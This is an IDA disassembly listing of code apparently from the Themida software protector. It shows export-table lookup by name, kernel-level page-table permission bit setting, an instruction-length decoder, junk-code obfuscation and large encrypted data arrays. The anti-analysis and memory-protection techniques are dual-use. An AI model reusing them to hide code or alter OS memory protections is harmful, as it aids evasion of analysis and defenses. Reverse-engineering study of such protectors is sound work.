; ---------------------------------------------------------------------------
mov esi, [ebp+6197FC5h]
mov eax, [ebp+6197FBDh]
cmp dword ptr [ebp+6197FC1h], 0
jz loc_5A0BFA
mov [esi], eax
jmp locret_5A0BFC
; ---------------------------------------------------------------------------
loc_5A0BFA: ; CODE XREF: Themida_:005A0BEDj
mov [esi], al
locret_5A0BFC: ; CODE XREF: Themida_:005A0BF5j
iret
; ---------------------------------------------------------------------------
align 10h
dd 0
db 0
; ---------------------------------------------------------------------------
loc_5A0C05: ; DATA XREF: Themida_:00549654o
push edx
mov edx, esp
pusha
mov eax, [edx+8]
mov [ebp+6197FC5h], eax
lea esi, [ebp+619804Ch]
lea eax, dword_5B8EA1[ebp]
call eax
popa
pop edx
mov eax, [ebp+6197FC5h]
retn 4
; ---------------------------------------------------------------------------
db 8Bh
dd 197FC585h, 89008B06h, 197FC585h, 0CF06h
db 2 dup(0)
; =============== S U B R O U T I N E =======================================
sub_5A0C3E proc near ; DATA XREF: Themida_:00549960o
pusha
mov [ebp+6198022h], esi
mov [ebp+619801Eh], eax
lea eax, [ebp+61412F5h]
mov eax, [eax+44h]
mov [ebp+619805Bh], eax
lea esi, [ebp+6198091h]
lea eax, dword_5B8EA1[ebp]
call eax
popa
mov eax, [ebp+6198022h]
retn
sub_5A0C3E endp
; ---------------------------------------------------------------------------
mov ebx, [ebp+619801Eh]
movzx eax, word ptr [ebx+3Ch]
add ebx, eax
mov ebx, [ebx+78h]
add ebx, [ebp+619801Eh]
mov esi, [ebx+24h]
add esi, [ebp+619801Eh]
push esi
mov edi, [ebx+20h]
mov esi, [ebx+1Ch]
add edi, [ebp+619801Eh]
add esi, [ebp+619801Eh]
cld
or ecx, 0FFFFFFFFh
loc_5A0CA5: ; CODE XREF: Themida_:005A0CC3j
; Themida_:005A0CD2j
inc ecx
mov ebx, [ebp+6198022h]
mov edx, [edi]
add edx, [ebp+619801Eh]
add edi, 4
loc_5A0CB7: ; CODE XREF: Themida_:005A0CCBj
mov al, [edx]
test al, al
jz loc_5A0CD0
cmp al, [ebx]
jnz loc_5A0CA5
inc ebx
inc edx
jmp loc_5A0CB7
; ---------------------------------------------------------------------------
loc_5A0CD0: ; CODE XREF: Themida_:005A0CBBj
cmp al, [ebx]
jnz loc_5A0CA5
pop edi
shl ecx, 1
movzx eax, word ptr [edi+ecx]
mov eax, [esi+eax*4]
add eax, [ebp+619801Eh]
mov [ebp+6198022h], eax
mov esi, eax
mov ecx, esi
mov eax, ecx
cmp dword ptr [ebp+619805Bh], 0C0300000h
jnz loc_5A0D11
shr eax, 14h
and eax, 0FFCh
jmp loc_5A0D19
; ---------------------------------------------------------------------------
loc_5A0D11: ; CODE XREF: Themida_:005A0CFEj
shr eax, 12h
and eax, 3FF8h
loc_5A0D19: ; CODE XREF: Themida_:005A0D0Cj
mov edi, [ebp+619805Bh]
or dword ptr [edi+eax], 6
mov edx, [edi+eax]
mov eax, edx
and al, 81h
cmp al, 81h
mov eax, ecx
jz locret_5A0D8B
cmp dword ptr [ebp+619805Bh], 0C0300000h
jnz loc_5A0D51
shr eax, 0Ah
and eax, 3FFFFCh
jmp loc_5A0D59
; ---------------------------------------------------------------------------
loc_5A0D51: ; CODE XREF: Themida_:005A0D3Ej
shr eax, 9
and eax, 7FFFF8h
loc_5A0D59: ; CODE XREF: Themida_:005A0D4Cj
sub eax, 40000000h
or dword ptr [eax], 6
test dword ptr [eax], 80h
jz locret_5A0D8B
cmp dword ptr [ebp+619805Bh], 0C0300000h
jz locret_5A0D8B
and eax, 3FF8h
mov eax, [eax-3FA00000h]
or dword ptr [eax], 6
locret_5A0D8B: ; CODE XREF: Themida_:005A0D2Ej
; Themida_:005A0D67j ...
iret
; ---------------------------------------------------------------------------
loc_5A0D8C: ; CODE XREF: Themida_:loc_5A0B21j
lea eax, [ebp+6197FC9h]
mov [ebp+61431D1h], eax
lea eax, [ebp+619805Fh]
mov [ebp+6140D81h], eax
lea eax, [ebp+6198026h]
mov [ebp+6140A75h], eax
insb
adc ebx, [ebp+1Dh]
db 36h
mov edi, 63902979h
cmp esi, eax
xor eax, 48042F71h
xor eax, 70FD7853h
cmp dh, 55h
test eax, ecx
xor dword ptr [ecx], 0FFFFFF85h
mov edi, 2FF15031h
sal dword ptr [eax+621F2B05h], cl
mov [edi+23h], cl
in al, 33h
cmp dword ptr [esi], 0FFFFFFFDh
adc eax, 553C3182h
in al, 8Bh ; DMA page register 74LS612:
; Channel 5 (address bits 17-23)
aam 0B7h
in al, 0BAh ; Interrupt Controller #2, 8259A
int 3 ; Trap to Debugger
push esp
imul esp, edi, -7Ch
xor eax, 334A3E82h
xor byte ptr [ecx], 0E1h
mov ah, 45h
push ecx
; ---------------------------------------------------------------------------
dd 66ECB1DBh, 9A478F1Eh, 3C3FB662h, 31842105h, 31B2B100h
dd 0F8033587h, 733EE71Dh, 31819908h, 66825FF0h, 31823690h
dd 0F2DD153Ch, 15FEBC41h, 15C6B40Bh, 31822083h, 0F2D572C3h
dd 0B58D541Bh, 318235F0h, 0B40F6ECEh, 379BB4CDh, 0D9D33574h
dd 3182350Ch, 68416CA7h, 35A6794Ah, 35A67160h, 318235E6h
dd 0BC416439h, 0BB8DACD2h, 31823518h, 3016F48Eh, 6112401Dh
dd 3182322Bh, 947D7E1h, 78718654h, 0A1D8E2F2h, 0D9D73556h
dd 3182351Dh, 6C41682Fh, 35A6590Eh, 35A67142h, 318235F8h
dd 0CB4160B5h, 0FA4DFA6Bh, 32063A59h, 3E82351Eh, 0B40FC7B8h
dd 379BB454h, 3193B6CCh, 3D6B35E1h, 918235F0h, 1446D809h
dd 4F05A550h, 0A1196B19h, 0D9D2DA85h, 3182358Fh, 8E395E8Bh
dd 9A309BDCh, 3182BFFFh, 0A1DD3578h, 318232D4h, 7556E51Eh
dd 68411D3Fh, 31823B6Fh, 3AC04FC3h, 0F95CF1B1h, 0CEAD207Fh
dd 0D80533C1h, 31823534h, 0AEBE1907h, 0D7ADB3CCh, 0A47D6BD9h
dd 37963CAEh, 0A937D45Bh, 5B42BE8Eh, 326A6278h, 1182353Ch
dd 0B8DDF641h, 0B0861173h, 298611C3h, 768235C3h, 0E315F6B6h
dd 0D9E4B87Eh, 3182357Eh, 608CD94Dh, 366B8401h, 2682350Fh
dd 6BC9C00Ah, 0B2DD641Bh, 25B2845Ch, 38F735F6h, 2B6388FBh
dd 45823328h, 0BAD16507h, 35F88DCFh, 0B40B3587h, 37962F8Ah
dd 86B8A86Ch, 0E27D33E6h, 8C016D23h, 37962FDDh, 6195411Eh
dd 35F88D5Ch, 0B40B3587h, 37962F8Ah, 85ABA86Ch, 0E27D33E6h
dd 517A6D23h, 0EB908E5Ah, 6F93874Fh, 93F68A6Eh, 0F10940ECh
dd 0D9D535A9h, 318235E2h, 6E416AD0h, 35A649F1h, 35A671BDh
dd 31823506h, 27416248h, 0B662F0DDh, 0AB3B5391h, 0BC7B6F94h
dd 2803EE6Dh, 3185DC7Eh, 0FA28353Ch, 0EF0EF328h, 0D007B8CFh
dd 0C9842CE7h, 31E8E53Ch, 3181DDB4h, 6CA235F0h, 5D0B68BBh
dd 75033118h, 3196313Ah, 64C7350Fh, 0F1897B44h, 31F9B1CCh
dd 31E835E1h, 3181DDA3h, 6AA23578h, 6D0B6EFFh, 7503313Ah
dd 3199312Bh, 62C13587h, 2618A500h, 0A12AB054h, 260D3A93h
dd 0D8823578h, 3182352Eh, 33C7C3FCh, 0A94737BAh, 0F986900Dh
dd 6DBCD726h, 0AC0F5C64h, 37967889h, 0FB68B41Eh, 31818D94h
dd 2E38351Eh, 0CEE37900h, 63825F64h, 3182362Bh, 0F2D815E1h
dd 15D6BCAAh, 15C6B47Ch, 31822C38h, 0F2D0771Eh, 0E3C7F3FEh
dd 0BAE40C03h, 0D21FB831h, 5B842C60h, 326A67F0h, 11823578h
dd 0B8D8F666h, 0B086114Ah, 2D86114Bh, 73823587h, 0D617F691h
dd 0F2785627h, 0BCB2BE83h, 28E2D4FDh, 62825F3Ah, 318236F6h
dd 0F2D9150Fh, 15DEBCDCh, 15C6B4C7h, 318223E5h, 0F2D176F0h
dd 805251C8h, 5B52CA54h, 326A671Eh, 1182350Fh, 0B8D8F6DDh
dd 0B0861197h, 2C8611A5h, 738235F0h, 39F8F62Ah, 0E0B911FDh
dd 8F765BF2h, 7F74B469h, 3E423E10h, 31827147h, 0FA0953E1h
dd 0AC0FE241h, 37967801h, 3181BE33h, 8E8D351Eh, 31838DF9h
dd 0E6033587h, 6AB5812h, 3E6BD61Eh, 358235F0h, 7E46AA9Fh
dd 1A6A5B04h, 8B026A6Ch, 0BA8D6E65h, 3182358Eh, 3181B2CCh
dd 0BAE435E1h, 0D91FB809h, 0B0842CF9h, 62D334DDh, 0D007B81Eh
dd 0D9842C6Fh, 3182358Bh, 0BA5EA52h, 0F5ADE188h, 76D852Fh
dd 5752CA21h, 3A630A83h, 0B063ADEh, 5782350Fh, 3E92E338h
dd 0AC0FC67Ch, 37967898h, 0BA75B496h, 26063A99h, 3E82353Ch
dd 31822496h, 318EDC0Fh, 0EAA33587h, 0E8E31F7Ah, 0EB98AF74h
dd 323A3DD0h, 0CE823578h, 0BB73BEDFh, 0F00376F6h, 1C5C15Dh
dd 0B053880Ah, 0BC0F33DAh, 379BB3ECh, 7ADE4848h, 6C0706F2h
dd 1A842116h, 336BF4D1h, 60D21FB8h, 0F05B842Ch, 78326A67h
dd 66118235h, 4AB8D8F6h, 4BB08611h, 0F305E983h, 6AC08BA4h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h
dd 42000000h, 3A49C352h, 66A4CCBBh, 0B1548BBEh, 0FC38B44h
dd 8166CEB7h, 8B6912E9h, 0CA8B66C0h, 83F78B66h, 1430B1BDh
dd 9750006h, 1AE1BD83h, 74000614h, 8B535019h, 47AB8C0h
dd 85890000h, 61430C1h, 0B7A19D8Dh, 0D3FF0616h, 0BD83585Bh
dd 6141AE1h, 50177400h, 47AB853h, 85890000h, 61430C1h
dd 0B4429D8Dh, 0D3FF0616h, 0B70F585Bh, 0E9C08BCFh, 7, 56453DEFh
dd 0E9000000h, 537h, 68BA05D7h, 2375488Bh, 0DD2F8C46h
dd 92E4D500h, 499B22B5h, 0CF08A810h, 12BF9CEEh, 607855A7h
dd 0A6300D5Fh, 2FB7C315h, 0B6E4329h, 0F55C5758h, 0AFF7C412h
dd 0E7FBE1E7h, 0E70F51F1h, 79464EB8h, 5AB25E5Dh, 6B7202Bh
dd 0BCFFD7B4h, 0E8D30310h, 19A42F3Ch, 12DFF76Dh, 0F54DF9C6h
dd 23D674C6h, 913D8256h, 0D7FF0A39h, 223BCF25h, 0CD1A168Eh
dd 0C81AB209h, 421619F0h, 6B7B80D3h, 4CA4506Bh, 5E7A85B4h
dd 6A370F61h, 98A5516Eh, 0BAE9813Ah, 0F2E129AFh, 0BF121FCBh
dd 5EF64EFAh, 21B17EC6h, 31C9F0E5h, 21CDEEE4h, 23309AC9h
dd 407D56AEh, 929860A8h, 51F27EACh, 0FF6998C0h, 2EDADFF2h
dd 5E0AB121h, 0E7CA88ECh, 0A62FFC52h, 0F092E413h, 686E9C3Ch
dd 0EACF0653h, 64EE63Eh, 7F52383Eh, 3E6651F2h, 0B422FF0Fh
dd 8C388552h, 0AAF09C34h, 51F27EC7h, 28AE7B43h, 70126493h
dd 0ED5B0A5Bh, 518754FEh, 77D93F6Eh, 0F0000000h, 8F42C412h
dd 8E267E2Ah, 0E7B89CE2h, 223651F1h, 0F1FA6B60h, 9C64FEEDh
dd 0F1F3B096h, 563C4251h, 6A51F1F4h, 399F7C42h, 59BFEE86h
dd 6, 6D4E8451h, 0C112573Eh, 904350FCh, 6174812Dh, 512D9099h
dd 8B23DE85h, 7A5169DFh, 0E34CC6AFh, 0C2144343h, 0A3A97180h
dd 51F287BDh, 6F7AA9D1h, 44115964h, 72846E8Eh, 0F5646B5Dh
dd 2A59B15Dh, 22993D1Ah, 0C51217D0h, 943F4CF8h, 0A70B7D29h
dd 378651EBh, 0EDCE08E5h, 1D9E3441h, 8AC8EA71h, 0EDEF6411h
dd 0ACBAFEh, 12D10000h, 0E3B0F8C5h, 2E98C7F2h, 354BB121h
dd 3DFD46Ch, 0A76FB74Fh, 0F2CABBA1h, 78A7CF51h, 0E8D7010Eh
dd 13A62F3Ch, 0CD8DF167h, 0B0D236ECh, 10625B7Ch, 846A7038h
dd 751F2CBh, 1D6C2F95h, 0CFF7BD59h, 0C64295A0h, 0E1DAF812h
dd 0F805B149h, 0A930DCDDh, 0A5D0CB87h, 79FEEDC9h, 6Dh
dd 48C51290h, 0F1E85C42h, 0B0487051h, 1FE1F704h, 0E391E7B0h
dd 1D65FD70h, 0AB5CD646h, 653150D0h, 0ED8704B2h, 0F6608F27h
dd 23CFEEE9h, 52FEBB16h, 53F5BFDh, 0E840ECD3h, 5AF8DC50h
dd 368835A2h, 7544915Eh, 7441272Dh, 2D5551F2h, 0C11217FEh
dd 270A50FCh, 0A351F1E8h, 8DD8F38Fh, 0D1FEEDF1h, 0A0EDCE04h
dd 0F55B8A33h, 1, 0FBC0120Ch, 797F474Fh, 51F1E793h, 45507FA7h
dd 297E2A91h, 0EFCC06D3h, 182C6EC0h, 0D3AF01BAh, 6B71B965h
dd 57E50354h, 0EEF6A2CAh, 43A2026h, 264E5806h, 0D1EAECF7h
dd 47D3B289h, 0CE1AD690h, 24B28F9Fh, 0C1A5EB97h, 235806ADh
dd 0EDE9033Fh, 95AF86CEh, 885A4C1Eh, 8D6A2F3Bh, 18F19836h
dd 0DAFCD9E9h, 0AE2835E1h, 8BEF610Dh, 5BA135CFh, 7927DD46h
dd 0ADFF9732h, 0D900F66Fh, 10F08F8h, 171F0000h, 0FF2E8B4Ah
dd 8FD787F5h, 13F9FFC7h, 2751F1E8h, 558CD0FFh, 0B57E50Dh
dd 0AC2A37E3h, 18E5BD0Fh, 0F850FCBDh, 0EE18BEC9h, 0D028D4E9h
dd 0B7848C38h, 854E9B1Eh, 5348C38h, 33DFDCFAh, 600CB126h
dd 0EA378253h, 8FBA13E7h, 0CD882F6Bh, 0B3178935h, 0FC601297h
dd 8B30A65Eh, 896AFB39h, 3B94F8D9h, 0AB000000h
dd 0B0F8A613h, 0F1E7E4AAh, 0E490B8D1h, 0F1E7B89Eh, 7D8C45D1h
dd 0F1E79177h, 0E57DA5D1h, 12AB2C39h, 0F290F466h, 0D57599EFh
dd 0C30BB320h, 0F1E7F7BDh, 51A3CB51h, 7073h, 0A513CA00h
dd 0F0ABB1F9h, 9E57E510h, 0F5C2CA76h, 0A5B0DFDEh, 5B388A31h
dd 4E94407Bh, 5805F26Dh, 6E6431C9h, 1A49A14Dh, 64728AC8h
dd 0BB290557h, 1AC5CB13h, 0A85DFC79h, 1DB508CBh, 644DFED5h
dd 2E8536A0h, 4B7A8B26h, 0B902D4E1h, 7416B80Dh, 0E2F653C1h
dd 41D931DDh, 13AC2CF9h, 2DD8DEE4h, 0BB6415D9h, 597E4B93h
dd 2BABB864h, 0B9C9F890h, 0F9A51300h, 6F00ABB1h, 3F0C57E8h
dd 237B2792h, 9C4870F4h, 2274478Fh, 0E22A9145h, 6E2E141Ah
dd 1A42580Bh, 0B17981EBh, 0B6DC5ABh, 82B1D958h, 4640563Eh
dd 480A6E06h, 5EBF1B9h, 19A86820h, 1FB7C2F1h, 9B724A9Ch
dd 96F90738h, 0D8E31200h, 411BDFEh, 6B6B38D1h, 0C64CA450h
dd 0A868C6E0h, 8834CCF4h, 3BF19133h, 1D8209Bh, 413E93A3h
dd 0A2B2E14Fh, 62AA11C5h, 7B82908Bh, 37085F5Ah, 0F6608FEEh
dd 3A2026EEh, 4EA86875h, 0FEBF726h, 23000000h, 0F3E7B56h
dd 894A1728h, 1308834h, 0CA1261C8h, 9A3C49F5h, 70687521h
dd 3B96A34Fh, 12C5D27Eh, 0E5F2FFABh, 0B61F2CD8h, 884A5703h
dd 597A8733h, 5333B864h, 0C3815B54h, 4, 8704EB83h, 575C241Ch
dd 0C781E789h, 4, 8704EF83h, 895C243Ch, 0EC83240Ch, 242C8904h
dd 1986C568h, 240C8B06h, 5404C483h, 81242C8Bh, 4C4h, 8B85000h
dd 2D000000h, 2A4F02E0h, 0E005E801h, 892A4F02h, 34FF5808h
dd 0C4815D24h, 4, 592434FFh, 0E904C483h, 0FFFAF22Bh, 0B98F1C90h
dd 0B89682F6h, 6198B8Ch, 0E0FFC503h, 7D12F80Dh, 4CF81353h
dd 5F04F3A1h, 10AB7509h, 7DED3084h, 5E8h, 0B8F80600h, 666073D3h
dd 5032D281h, 6890Fh, 820F0000h, 0
dd 0BA665E61h, 0C681F75Fh, 5BA8h, 0B068F88Bh, 0F000016h
dd 58Ch, 8B665300h, 66595AC2h, 0FF8159BFh, 8DEA8036h, 9E85Bh
dd 0ED5B0000h, 4D3EB516h, 66D68D7Eh, 0E7DAD781h, 1CC3815Fh
dd 0F6E1AE3h, 688h, 2AD78100h, 813D59A1h, 408C81EBh, 8120B209h
dd 8BD4C8F3h, 8166602Bh, 0F118DC2h, 1086h, 0AE800h, 0A09E0000h
dd 9374723Eh, 900F3417h, 0F53615Bh, 68FC2B7h, 135F0EB8h
dd 39EE8119h, 667EB54Ah, 73D0D081h, 4A35C681h, 0BF0F7EB5h
dd 850F49C3h, 19h, 7BDA8166h, 2BE913h, 7E80000h, 239F5C98h
dd 36755144h, 8B19C8F8h, 68F0F56h, 81000000h, 815A72CAh
dd 0FF59E902h, 0CE96FFFFh, 2812E7E1h, 3F536395h, 1C8E937h
dd 88880000h, 7 dup(88880041h), 41h, 3 dup(0)
dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h
dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h
dd 44441111h, 2994444h, 203C988h, 88880010h, 88880011h
dd 11118888h, 16441111h, 0
dd 8800h, 88888800h, 0
dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0
dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h
dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h
dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h
dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h
dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h
dd 16E6FFFFh, 16FA0040h, 40h, 0
dd 30000h, 14h dup(0)
dd 0CC20000h, 758E2900h, 10000h, 11h dup(0)
dd 53E90000h
db 3, 2 dup(0)
; =============== S U B R O U T I N E =======================================
sub_5A1ABB proc near ; DATA XREF: Themida_:005497E0o
push ebp
call $+5
pop ebp
sub ebp, 6198EE2h
pusha
mov dword ptr [ebp+6198E2Fh], 0
cmp word ptr [esi], 0A166h
jnz loc_5A1AED
mov dword ptr [ebp+6198E33h], 6
jmp loc_5A1B11
; ---------------------------------------------------------------------------
loc_5A1AED: ; CODE XREF: sub_5A1ABB+1Dj
lea eax, [ebp+6198E37h]
push eax
lea eax, [ebp+6198E87h]
push eax
push esi
push 0
call sub_5A1B20
add esp, 10h
and eax, 0FFh
mov [ebp+6198E33h], eax
loc_5A1B11: ; CODE XREF: sub_5A1ABB+2Dj
popa
add esi, [ebp+6198E33h]
mov eax, [ebp+6198E2Fh]
pop ebp
retn
sub_5A1ABB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5A1B20 proc near ; CODE XREF: sub_5A1ABB+43p
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_6198E27 = dword ptr 6198E2Fh
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_5], 0
and [ebp+var_6], 0
xor dl, dl
and [ebp+var_1], dl
cmp [ebp+arg_0], 0
jz loc_5A1B4D
mov [ebp+var_4], 2
mov [ebp+var_3], 0FEh
mov [ebp+var_2], 1
jmp loc_5A1B59
; ---------------------------------------------------------------------------
loc_5A1B4D: ; CODE XREF: sub_5A1B20+16j
and [ebp+var_3], 0
and [ebp+var_2], 0
mov [ebp+var_4], 4
loc_5A1B59: ; CODE XREF: sub_5A1B20+28j
push ebx
push esi
push edi
loc_5A1B5C: ; CODE XREF: sub_5A1B20+91j
; sub_5A1B20+ADj ...
mov edi, [ebp+arg_4]
mov esi, [ebp+arg_8]
movzx ecx, dl
inc dl
mov al, [edi+ecx]
mov [esi+ecx], al
xor cl, cl
loc_5A1B6F: ; CODE XREF: sub_5A1B20+76j
movzx ebx, cl
push ebp
call $+5
pop ebp
sub ebp, 6198F99h
lea ebp, [ebp+6198E0Fh]
add ebp, ebx
cmp [ebp+0], al
pop ebp
jz loc_5A1B9C
inc cl
cmp cl, 0Bh
jb loc_5A1B6F
loc_5A1B9C: ; CODE XREF: sub_5A1B20+6Bj
cmp cl, 0Bh
jz loc_5A1BF9
cmp al, 66h
jnz loc_5A1BDA
cmp [ebp+var_5], 0
jnz loc_5A1B5C
cmp [ebp+var_3], 0
mov [ebp+var_5], 1
jnz loc_5A1BD2
mov [ebp+var_4], 2
mov [ebp+var_3], 0FEh
jmp loc_5A1B5C
; ---------------------------------------------------------------------------
loc_5A1BD2: ; CODE XREF: sub_5A1B20+9Fj
and [ebp+var_3], 0
mov [ebp+var_4], 4
loc_5A1BDA: ; CODE XREF: sub_5A1B20+87j
cmp al, 67h
jnz loc_5A1B5C
cmp [ebp+var_6], 0
jnz loc_5A1B5C
xor [ebp+var_2], 1
mov [ebp+var_6], 1
jmp loc_5A1B5C
; ---------------------------------------------------------------------------
loc_5A1BF9: ; CODE XREF: sub_5A1B20+7Fj
mov ebx, [ebp+arg_C]
mov cl, dl
dec cl
cmp al, 0Fh
mov [ebx], cl
jnz loc_5A1C25
movzx ecx, dl
inc dl
mov al, [edi+ecx]
movzx edi, al
shr edi, 1
mov [esi+ecx], al
add edi, 80h
jmp loc_5A1C2A
; ---------------------------------------------------------------------------
loc_5A1C25: ; CODE XREF: sub_5A1B20+E4j
movzx edi, al
shr edi, 1
loc_5A1C2A: ; CODE XREF: sub_5A1B20+100j
push ebp
call $+5
pop ebp
sub ebp, 6199051h
lea ebp, [ebp+6198D0Fh]
add ebp, edi
mov bl, [ebp+0]
pop ebp
mov cl, al
and cl, 1
mov [ebp+var_7], cl
shl cl, 2
shr bl, cl
test bl, 8
mov [ebp+var_6], bl
jz loc_5A1DAC
mov ebx, [ebp+arg_4]
mov byte ptr [ebp+arg_0+3], 1
movzx ecx, dl
inc dl
mov bl, [ebx+ecx]
mov byte ptr [ebp+arg_C+3], dl
mov dl, bl
mov [esi+ecx], bl
and dl, 7
movzx ecx, bl
cmp dl, 4
setz [ebp+var_5]
shr ecx, 6
sub ecx, 0
jz loc_5A1CF0
dec ecx
jz loc_5A1CD3
dec ecx
jnz loc_5A1D43
cmp [ebp+var_2], 0
jnz loc_5A1D3F
cmp [ebp+var_5], 0
jz loc_5A1CB2
mov byte ptr [ebp+arg_0+3], 2
loc_5A1CB2: ; CODE XREF: sub_5A1B20+188j
add byte ptr [ebp+arg_0+3], 4
push ebp
call $+5
pop ebp
sub ebp, 61990DDh
mov [ebp+arg_6198E27], 1
pop ebp
jmp loc_5A1D43
; ---------------------------------------------------------------------------
loc_5A1CD3: ; CODE XREF: sub_5A1B20+16Dj
cmp [ebp+var_2], 0
jnz loc_5A1D1D
cmp [ebp+var_5], 0
jz loc_5A1D1D
mov byte ptr [ebp+arg_0+3], 2
jmp loc_5A1D1D
; ---------------------------------------------------------------------------
loc_5A1CF0: ; CODE XREF: sub_5A1B20+166j
cmp [ebp+var_2], 0
jnz loc_5A1D36
cmp [ebp+var_5], 0
jz loc_5A1D25
movzx ecx, byte ptr [ebp+arg_C+3]
mov edx, [ebp+arg_4]
mov cl, [edx+ecx]
and cl, 7
cmp cl, 5
jnz loc_5A1D1D
mov byte ptr [ebp+arg_0+3], cl
loc_5A1D1D: ; CODE XREF: sub_5A1B20+1B7j
; sub_5A1B20+1C1j ...
inc byte ptr [ebp+arg_0+3]
jmp loc_5A1D43
; ---------------------------------------------------------------------------
loc_5A1D25: ; CODE XREF: sub_5A1B20+1DEj
cmp dl, 5
jnz loc_5A1D43
mov byte ptr [ebp+arg_0+3], dl
jmp loc_5A1D43
; ---------------------------------------------------------------------------
loc_5A1D36: ; CODE XREF: sub_5A1B20+1D4j
cmp dl, 6
jnz loc_5A1D43
loc_5A1D3F: ; CODE XREF: sub_5A1B20+17Ej
mov byte ptr [ebp+arg_0+3], 3
loc_5A1D43: ; CODE XREF: sub_5A1B20+174j
; sub_5A1B20+1AEj ...
dec byte ptr [ebp+arg_0+3]
jz loc_5A1D71
movzx ecx, byte ptr [ebp+arg_0+3]
mov [ebp+arg_0], ecx
loc_5A1D53: ; CODE XREF: sub_5A1B20+249j
movzx esi, byte ptr [ebp+arg_C+3]
mov ecx, [ebp+arg_4]
mov edx, [ebp+arg_8]
inc byte ptr [ebp+arg_C+3]
dec [ebp+arg_0]
mov cl, [ecx+esi]
mov [edx+esi], cl
jnz loc_5A1D53
mov esi, edx
loc_5A1D71: ; CODE XREF: sub_5A1B20+226j
and al, 0FEh
cmp al, 0F6h
jnz loc_5A1DA6
cmp edi, 7Fh
ja loc_5A1DA6
test bl, 38h
jnz loc_5A1DA6
cmp [ebp+var_7], 0
jz loc_5A1DA0
movzx eax, [ebp+var_4]
jmp loc_5A1DA3
; ---------------------------------------------------------------------------
loc_5A1DA0: ; CODE XREF: sub_5A1B20+271j
push 1
pop eax
loc_5A1DA3: ; CODE XREF: sub_5A1B20+27Bj
mov [ebp+var_1], al
loc_5A1DA6: ; CODE XREF: sub_5A1B20+255j
; sub_5A1B20+25Ej ...
mov dl, byte ptr [ebp+arg_C+3]
mov bl, [ebp+var_6]
loc_5A1DAC: ; CODE XREF: sub_5A1B20+136j
mov al, bl
and eax, 7
sub eax, 4
jz loc_5A1DD7
dec eax
dec eax
jz loc_5A1DCD
and bl, 7
add [ebp+var_1], bl
jmp loc_5A1DDF
; ---------------------------------------------------------------------------
loc_5A1DCD: ; CODE XREF: sub_5A1B20+29Cj
mov al, [ebp+var_3]
add al, 6
jmp loc_5A1DDC
; ---------------------------------------------------------------------------
loc_5A1DD7: ; CODE XREF: sub_5A1B20+294j
mov al, [ebp+var_3]
add al, 4
loc_5A1DDC: ; CODE XREF: sub_5A1B20+2B2j
add [ebp+var_1], al
loc_5A1DDF: ; CODE XREF: sub_5A1B20+2A8j
mov al, [ebp+var_1]
dec [ebp+var_1]
test al, al
jz loc_5A1E07
movzx ecx, [ebp+var_1]
inc ecx
loc_5A1DF2: ; CODE XREF: sub_5A1B20+2E1j
mov edi, [ebp+arg_4]
movzx eax, dl
inc dl
dec ecx
mov bl, [edi+eax]
mov [esi+eax], bl
jnz loc_5A1DF2
loc_5A1E07: ; CODE XREF: sub_5A1B20+2C7j
pop edi
pop esi
mov al, dl
pop ebx
leave
retn
sub_5A1B20 endp
; ---------------------------------------------------------------------------
lea eax, [ebp+6198EDCh]
mov [ebp+6140C01h], eax
call sub_5A1E31
; ---------------------------------------------------------------------------
aam 0F3h
sbb [esi-21h], al
retn 480Ch
; ---------------------------------------------------------------------------
retf 0B9ECh
; ---------------------------------------------------------------------------
dw 2865h
dd 0AB744A3Eh
; ---------------------------------------------------------------------------
pop esp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_5A1E31 proc near ; CODE XREF: Themida_:005A1E1Ap
call sub_5A1E46
jmp near ptr 8F4DA090h
sub_5A1E31 endp
; ---------------------------------------------------------------------------
db 7Ch
dd 0BF646DC8h, 647E926Ch
; ---------------------------------------------------------------------------
setalc
xchg eax, esp
; =============== S U B R O U T I N E =======================================
sub_5A1E46 proc near ; CODE XREF: sub_5A1E31p
or ah, 7
pop ecx
pop ebx
xor eax, 64B4568Fh
add ebx, 5CB1h
sub esi, 4C950025h
mov edi, 43881126h
sub edi, 4387FA28h
jmp loc_5A1E80
; ---------------------------------------------------------------------------
db 86h, 3Ch, 0B9h
dd 98652915h, 0FD50DA2Ah, 39316CB4h, 29018187h
; ---------------------------------------------------------------------------
loc_5A1E80: ; CODE XREF: sub_5A1E46+22j
; sub_5A1E95:loc_5A1ED3j
mov edx, [ebx]
add edx, 7D5EE9B9h
push edi
call sub_5A1E95
insd
xchg ah, [ecx]
jz short loc_5A1EEB
test al, 8Dh
sub_5A1E46 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5A1E95 proc near ; CODE XREF: sub_5A1E46+43p
arg_20 = dword ptr 24h
arg_24 = dword ptr 28h
stc
loc_5A1E96: ; CODE XREF: sub_5A1E95+6Cj
pop eax
pop ecx
add edx, 2500F034h
mov si, 5FA4h
add edx, 14C4ECB9h
movsx eax, bx
push edx
pusha
adc ah, 0D1h
mov bx, 4442h
popa
pop dword ptr [ebx]
and ax, 5886h
sub ebx, 718895B8h
add ebx, 718895B4h
jmp loc_5A1ED2
; ---------------------------------------------------------------------------
db 3Ch, 0F3h, 80h
; ---------------------------------------------------------------------------
mov ss, bx
loc_5A1ED2: ; CODE XREF: sub_5A1E95+33j
dec edi
loc_5A1ED3: ; DATA XREF: Themida_:0054B9ECo
jnz loc_5A1E80
mov cx, dx
jmp loc_5A1F34
; ---------------------------------------------------------------------------
db 0CDh, 0Ch, 89h
dd 15h
db 0, 57h, 1Ch
; ---------------------------------------------------------------------------
loc_5A1EEB: ; CODE XREF: sub_5A1E46+4Bj
lds ecx, [edx+43h]
dec eax
popa
db 36h
stc
lodsd
movsd
cmpsd
